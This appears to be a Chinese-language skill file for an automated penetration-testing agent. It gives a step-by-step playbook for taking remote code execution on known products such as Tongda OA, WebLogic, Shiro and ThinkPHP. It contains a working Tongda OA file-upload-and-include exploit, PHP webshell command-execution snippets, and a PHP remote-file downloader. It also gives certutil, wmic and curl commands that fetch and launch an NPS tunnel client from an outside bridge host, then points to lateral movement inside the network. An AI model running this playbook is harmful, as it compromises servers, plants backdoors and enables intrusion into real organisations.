| name | known-product-exploit |
| description | 通用已知产品/框架漏洞利用专项技能。适用于 fscan/Nuclei/Wappalyzer 识别出目标运行已知产品(OA系统、CMS、中间件、框架)后的标准利用流程。
核心原则:已知产品必须 Nuclei 先行,不走盲测渗透。覆盖 Nuclei 精准扫描、模板分析、手工验证、环境诊断、命令执行方式选择、NPS 收口。
触发场景:fscan 或手工识别出目标为已知产品(通达OA/致远OA/用友NC/泛微OA/WordPress/Drupal/Tomcat/WebLogic/Shiro/Spring/ThinkPHP/Laravel/
phpMyAdmin/Confluence/GitLab/Jenkins 等)时必须优先使用本技能。
|
Known Product Exploit
你处理的是"目标运行已知产品,如何用最短路径获取 RCE"这个问题。
核心原则:已知产品不走盲测渗透,必须 Nuclei 先行。 因为已知产品的漏洞已经被安全社区大量研究,手工黑盒发现漏洞的效率远低于直接用 Nuclei 匹配已知 CVE/PoC。
Phase 0: 产品识别
通过以下方式确认目标运行的产品:
curl -sI http://<target>/ | grep -iE 'Server:|X-Powered|Set-Cookie|X-OA|X-Generator'
curl -s http://<target>/ | grep -iE 'title|generator|powered.by|copyright|<meta'
curl -s http://<target>/favicon.ico -o /tmp/fav.ico && md5sum /tmp/fav.ico
curl -s http://<target>/robots.txt
常见产品指纹速查:
| 产品 | 指纹特征 |
|---|
| 通达OA | Office Anywhere、/ispirit/、PHPSESSID |
| 致远OA | Seeyon、/seeyon/、A8 |
| 用友NC | /NCCloud/、/servlet/、yonyou |
| 泛微OA | ecology、/weaver/、e-cology |
| Shiro | rememberMe=deleteMe (Set-Cookie) |
| Spring Boot | /actuator、Whitelabel Error Page |
| ThinkPHP | thinkphp、/index.php/ |
| WebLogic | :7001、/console、Oracle WebLogic |
| Tomcat | /manager/html、Apache Tomcat |
| Jenkins | /jenkins/、X-Jenkins |
Phase 1: Nuclei 精准扫描(必须步骤)
铁律:识别出已知产品后,必须立即 Nuclei 扫描,不得跳过直接手工测试。
nuclei -u http://<target> -tags <product_tag> -severity critical,high -timeout 10
nuclei -u http://<target> -severity critical,high -timeout 10
Nuclei 输出解读:
[critical] / [high] + RCE / file-upload / code-injection → 高价值目标,立即跟进
[info] / [medium] → 辅助信息,暂不花时间
Phase 2: 模板分析 + 手工验证
Nuclei 命中后,必须手工验证,不得直接当成已拿权限:
find /root/nuclei-templates -name '<template_id>.yaml' -exec cat {} \;
rg -l '<template_id>' /root/nuclei-templates/ | head -1 | xargs cat
curl -s -X POST http://<target>/<path_from_template> \
-H 'Content-Type: ...' \
-d '<payload_from_template>'
验证优先级:
- 文件上传类 RCE — 最优先,直接获取 webshell
- 命令注入/代码执行 — 次优先,可直接执行系统命令
- 反序列化 RCE — 需要额外工具(ysoserial 等),但一旦成功即获取稳定执行
- SSRF/文件读取 — 辅助类,用于获取配置/凭据辅助后续利用
Phase 3: 环境诊断(必须步骤)
获取代码执行能力后,第一个落地的必须是诊断页/诊断命令,不得直接假设执行环境:
PHP 环境(OA/CMS 类常见)
<?php
echo "DIAG_START\n";
echo "php_ver: ".phpversion()."\n";
echo "os: ".PHP_OS."\n";
echo "disable_functions: ".ini_get("disable_functions")."\n";
echo "open_basedir: ".ini_get("open_basedir")."\n";
echo "com_loaded: ".(class_exists("COM")?"yes":"no")."\n";
foreach(['system','exec','passthru','shell_exec','popen','proc_open'] as $f){
echo $f."=".(function_exists($f)?"yes":"no")." ";
}
echo "\nDIAG_END";
?>
Java 环境(WebLogic/Tomcat/Spring/Jenkins 等)
反序列化或表达式注入拿到执行后,先确认:
whoami && id && uname -a (Linux)
whoami && systeminfo (Windows)
根据诊断选择执行方式
| 诊断结果 | 执行方式 |
|---|
PHP: system 可用 | system($_POST['cmd'].' 2>&1') |
PHP: system 禁 + COM 可用 | new COM("WScript.Shell")->Exec("cmd /c ".$cmd) |
| PHP: 全禁 | 纯 PHP 文件操作 (file_get_contents 下载 npc) |
| Java/命令注入: 有稳定命令执行 | 直接下载 npc 并启动 |
Phase 4: NPS 收口
命令执行确认后,立即部署 NPS,不要继续优化 webshell:
Windows
C:\Windows\System32\certutil.exe -urlcache -split -f http://<bridge>:44944/files/nps/npc_windows_amd64.exe C:\Users\Public\npc.exe
C:\Windows\System32\wbem\wmic.exe process call create "C:\Users\Public\npc.exe -server=<bridge>:8024 -vkey=auto"
Linux
curl -o /tmp/npc http://<bridge>:44944/files/nps/npc_linux_amd64 && chmod +x /tmp/npc
setsid /tmp/npc -server=<bridge>:8024 -vkey=auto > /tmp/npc.log 2>&1 &
命令执行不稳定时,退回 PHP 文件下载器
<?php
$u=$_POST['url']; $p=$_POST['path'];
$d=@file_get_contents($u);
echo "fetch_len=".strlen($d)."\n";
$w=@file_put_contents($p,$d);
echo "write_ret=".$w."\n";
echo "exists=".(file_exists($p)?"yes":"no")."\n";
if(file_exists($p)) echo "size=".filesize($p)."\n";
?>
产品速查手册
通达OA(v11.x / v2017)
nuclei -u http://<target> -tags tongda,oa -severity critical,high
curl -s -X POST http://<target>/ispirit/im/upload_action.php \
-F "UPLOAD_MODE=2" -F "P=1" -F "DEST_UID=1" -F "ATTACHMENT=@shell.php"
curl -s -X POST http://<target>/ispirit/interface/gateway.php \
-d 'json={"url":"/general/../../attach/im/<year>/<month>/<day>/<ATTACHMENT_NAME>"}'
curl -s http://<target>/logincheck_code.php -d 'CODEUID=&UID=1'
Shiro
nuclei -u http://<target> -tags shiro -severity critical,high
Spring Boot
nuclei -u http://<target> -tags spring,springboot -severity critical,high
ThinkPHP
nuclei -u http://<target> -tags thinkphp -severity critical,high
WebLogic
nuclei -u http://<target>:7001 -tags weblogic -severity critical,high
必须避免的坑
- 不要跳过 Nuclei 直接手工渗透 — 已知产品的漏洞 Nuclei 有现成模板,手工黑盒效率极低。
- 不要不诊断就部署 system() webshell — 很多产品禁用了命令执行函数,直接用会静默失败。
- 不要把 Nuclei 扫描结果当成已拿权限 — 必须手工验证复现。
- 不要在拿到 whoami 后继续换 webshell — 立即转 NPS 收口。
- 不要用双引号包裹含
$ 的 PHP 代码写入 bash — 调用 php-payload-builder skill。
与其他 skill 的关系
- PHP payload 构造细节 → 调用
php-payload-builder
- Windows/Linux 命令执行规范 → 调用
remote-cmd-execution
- NPS 隧道管理 → 调用
nps-operator
- 上线后内网横向 → 回到
intranet-pentest